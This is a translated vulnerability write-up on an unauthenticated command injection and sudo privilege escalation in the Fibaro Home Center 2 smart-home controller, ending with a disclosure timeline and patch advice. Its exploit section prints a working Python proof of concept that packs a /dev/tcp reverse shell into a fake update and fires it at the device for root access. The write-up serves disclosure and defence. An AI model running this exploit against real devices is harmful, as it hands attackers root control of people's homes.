【技术分享】对Fibaro家庭中心管理设备远程命令执行漏洞的分析

http://p2.qhimg.com/t012405918b5a149e0f.png

译者:WisFree

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

写在前面的话

在我平时的休息时间里,我比较喜欢去研究一些与智能家居和物联网设备相关的硬件以及软件。最近这段时间里,我已知在研究这些设备所采用的安全解决方案。在我的研究过程中,我针对智能家居控制器进行了安全分析。这种控制器可以算是一款智能家居设备的大脑了,如果攻击者能够成功获取这类组件(智能家居控制器)的访问权限,那么他们就可以完全接管智能家居设备。

在得到研究报告之后,我第一时间向开源项目Domoticz的开发人员上报了其中的部分漏洞。开发人员在得到漏洞信息之后也迅速修复了相关问题,而且我个人也提交了一些漏洞修复代码:

1.       Httponly标记

2.       (经过认证的)SQL注入与缓冲区溢出漏洞

3.       (经过认证的)远程命令执行漏洞(由Domoticz开发人员修复)

直奔主题

分析完这款开源产品之后,我打算对一款商业产品进行研究。我备选产品中的其中一款是Fibaro家庭中心(第二代)。在此次研究过程中,我发现了一个十分严重的安全漏洞,而这个漏洞的存在意味着无论第二代Fibaro家庭中心管理设备的Web接口是否可访问,任意攻击者都能够利用该漏洞完全接管(root访问权)这种设备。

在下面的演示视频中,我给大家演示了如何入侵一台第二代Fibaro家庭中心管理设备:

研究过程

我从一位同事那里借了一台第二代Fibaro家庭中心管理设备(以下简称Fibaro HC2),感谢亲爱的Martijn Teelen!实际上,Fibaro HC2是一款拥有华丽外观的x86计算机,其操作系统运行在一个USB存储器之中,而Fibaro HC2中的另一个USB存储器是用来作系统恢复使用的。

http://p2.qhimg.com/t01b4c49d1a540dbb5f.png

当我拆开设备的外壳之后,我创建了一个USB存储器(Fibaro HC2中的)的磁盘镜像。接下来就是见证奇迹的时刻了,我对Fibaro HC2的内部系统(分析磁盘镜像)进行了深入分析,并且弄清楚了它的整体运行机制,然后成功在Fibaro HC2中发现了一个严重的安全漏洞

http://p9.qhimg.com/t01df0fe46ec755a833.gif

与设备Web接口相关的PHP文件其代码仅使用了ionCube进行部分加密,在进行了一段时间的搜索之后,我找到了一个可以轻松解密这些PHP文件的工具。解密完成之后,我发现了一个名叫“liliSetDeviceCommand.php”的文件,这个文件负责使用POST-input值来执行一次PHP系统调用,但整个过程中它既不会对用户进行身份验证,也不会对输入值的有效性进行核验。

http://p6.qhimg.com/t01d68e3e2ce6bc82d0.png

为了弄清楚这个漏洞是否是一个可以利用的漏洞,我向其中的“cmd1”参数中注入了'ping${IFS}8.8.8.8'

http://p0.qhimg.com/t016a81272edac3488b.png

我们可以从htop(Linux下的一款互动式进程查看器)所显示的信息中了解到,我们已经成功注入了刚才那条命令:

http://p1.qhimg.com/t01953421e5eafef3e0.png

此时我们已经能够确定的是,我们可以利用该漏洞来实现命令执行。但是,因为我们这里需要在注入Payload中使用引号,所以www-data用户这个身份还是会受到一定的权限限制的。


权限提升

在对/etc/sudoers文件进行分析之后,我发现www-data用户竟然能够以root权限执行一小部分代码:

http://p1.qhimg.com/t01cc0b8dc85498941d.png

请注意上图中的“/usr/bin/update”源码,在对这个源码进行了分析之后,我发现它可以被用于“手动”安装更新程序。为了实现“手动更新”,这里还需要通过传递一个.tar.gz文件来调用这部分源码。传递过去的.tar.gz文件中需要包含一个“run.sh”脚本,而脚本文件中需要包含用于执行更新操作的控制命令(例如复制文件等操作)。所以,我们准备尝试在这个run.sh脚本文件中存放一个反向shell,但我们真的能够得到一个拥有root权限的反向shell吗?经过了一段时间的手工测试之后,我们果然成功了!


编写漏洞利用代码

我们在短时间内迅速编写了一份能够将这个远程代码执行漏洞以及权限提升漏洞结合起来共同利用的PoC代码,下面给出的就是我们的漏洞利用代码(已在第二代Fibaro家庭中心管理设备上测试成功):

#!/usr/bin/python
 
import requests
import argparse
import urllib
import base64
import tarfile
import os
 
parser = argparse.ArgumentParser(description='Fibaro RCE')
parser.add_argument('--rhost')
parser.add_argument('--lhost')
parser.add_argument('--lport')
args = parser.parse_args()
 
f = open('run.sh', 'w')
f.write('#!/bin/bashn')
f.write('/bin/bash -i >& /dev/tcp/' + args.lhost + '/' + args.lport + ' 0>&1n')
f.close()
 
os.chmod('run.sh', 0777)
 
tar = tarfile.open("root.tar.gz", "w:gz")
tar.add("run.sh")
tar.close()
 
with open("root.tar.gz", "rb") as tarfile:
tar64 = base64.b64encode(tarfile.read())
 
wwwexec = urllib.quote_plus(base64.b64encode("echo '" + tar64 + "' | base64 -d > /tmp/patch.tar.gz && sudo update --manual /tmp/patch.tar.gz"))
 
os.remove('run.sh')
os.remove('root.tar.gz')
 
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Fibaro-Version': '2',
'X-Requested-With': 'XMLHttpRequest',
}
 
data = 'deviceID=1&deviceName=&deviceType=&cmd1=`echo${IFS}' + wwwexec + '|base64${IFS}-d|/bin/bash`&cmd2=&roomID=1&roomName=&sectionID=&sectionName=&lang=en'
print "[+] Popping a root shell..."
 
requests.post('http://' + args.rhost + '/services/liliSetDeviceCommand.php', headers=headers, data=data, verify=False)

漏洞报告

目前,我已经将本文所介绍的漏洞上报给了Fibaro的安全团队。一开始,我曾多次尝试与Fibaro取得联系,而当我第一次成功于该公司的一名取得联系时,这名员工并没有十分重视我所上报的漏洞。当时他曾跟我表示相关漏洞已经被开发人员成功修复了,但是三个多月过去了这些漏洞还是没有被修复。这就让我非常沮丧了,但我还是在不断地与Fibaro进行沟通,下面是整个漏洞报告过程的时间轴:

2017年02月22日:报告漏洞详情。

2017年03月01日:询问公司员工漏洞是否已得到修复,该员工核查之后表示漏洞还没有被修复。

2017年03月02日:公司员工表示漏洞已经成功修复。

2017年05月08日:通过分析发现,最新版的设备固件中仍然存在这些安全漏洞,我又尝试与这名员工取得联系,但是一直没有得到回复。

2017年06月15日:通过分析发现,最新版的设备固件中仍然存在这些安全漏洞,于是我打算将我的发现以文章的形式进行曝光,但还是没有得到任何回复。

2017年06月20日:我通过LinkedIn与Fibaro的管理人员进行联系,并得到了直接回复。

2017年06月21日:该公司的技术人员主动与我联系,并表示正在努力修复相关漏洞。

2017年06月23日:我决定向Fibaro的技术人员发送漏洞利用代码和攻击演示视频以帮助他们更好地了解漏洞信息。

2017年06月28日:漏洞成功修复,技术人员让我确认补丁有效性。

2017年07月03日:收到了Fibaro提供的补丁程序。

2017年07月04日:验证补丁程序已修复了远程代码执行漏洞。

2017年07月05日:Fibaro的技术人员和管理层对我的发现非常满意,并决定给我送一份小礼物。

2017年09月14日:正式向用户推送更新补丁。

下面这个就是Fibaro送给我的小礼物,感谢Fibaro!

http://p0.qhimg.com/t01e1f251f701dafdaa.png

我建议Fibaro可以设立一个专门的漏洞奖励计划,或者在官方网站上添加一个漏洞上报页面也是可以的(好歹也提供一个电子邮件地址吧?),否则安全研究人员都不知道怎么才能跟Fibaro的安全技术人员取得联系。


总结

我们建议广大Fibaro用户尽快安装最新版本的Fibaro更新(v4.140)以修复本文所介绍的安全漏洞。如果你所使用的智能家居或物联网设备需要使用到远程管理功能的话,应该尽量使用虚拟专用网络。除此之外,如果你的家里拥有非常多的智能家居设备(或IoT设备),我建议你采用严格的网络划分并给不同设备设定权限。

(完)